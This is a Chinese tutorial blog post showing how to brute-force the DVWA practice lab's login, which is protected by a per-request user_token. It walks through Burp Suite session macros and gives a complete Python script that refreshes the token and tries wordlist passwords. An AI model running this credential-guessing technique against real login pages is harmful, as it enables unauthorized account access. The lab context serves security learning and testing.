burp绕过动态刷新token

2020/04/09 11:15
阅读数 857
概述

   

    很多网站为了安全性考虑会加入token并动态刷新,每一次请求服务端校验token是否正确,同时返回新的token给客户端。


使用burp进行爆破


    这里是自己搭建的DVWA环境,DVWA的登录模块中参数带有user_token阻止了常规的口令爆破。


    如果要对此进行爆破,那么就需要动态获取到user_token参数的value值并进行传参。


    首先进入burp的options模块中的session功能,单击add添加宏。

    选择一条响应包中包含user_token参数的url然后点击OK。

    点击configure item,再点击add。


    选定user_token参数然后点击OK

    保存完毕后,我们就成功录制了一个宏。

    然后找到session handlingrules,add添加一条规则。

    选择刚刚录制的宏,然后update only the following parameters,参数名填user_token(爆破过程中需要更新的参数)


    添加并保存后,找到scope选项设置生效的范围和适用的URL。

    设置完毕后就可以进行爆破了,这里观看返回包内容,当密码正确时,响应包中的Location字段值为index.php,不正确时为login.php。



python脚本



import re  import sys  import requests    # 获取user_token参数值  def get_token(url):     global conn     conn = requests.session()     req = conn.get(url=url,verify=False)     pat = "name='user_token' value='(.*?)'"     user_token = re.compile(pat).findall(req.text)[0]     return user_token     def brute_login(url,token,passwd):      # 爆破时使用burp代理      proxies = {          "http""http://127.0.0.1:8080",          "https""http://127.0.0.1:8080"      }      payload = {'username''admin''password': passwd, 'Login''Login''user_token': token}      req = conn.post(url=url,data=payload,proxies=proxies,verify=False)      # 根据响应包中是否包含Login failed来判断密码是否正确       if "Login failed" not in req.text:            # 爆破完成后打印密码并退出           print("密码是:",passwd)           sys.exit()     def main():      url = "http://127.0.0.1/dvwa/login.php"      # 加载密码字典      f = open('pass.txt')      for line in f.readlines():          user_token = get_token(url)          brute_login(url,user_token,line.strip())      f.close()      if __name__ == '__main__':      main()


本文分享自微信公众号 - 小啦的学习笔记(woshiguolala)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部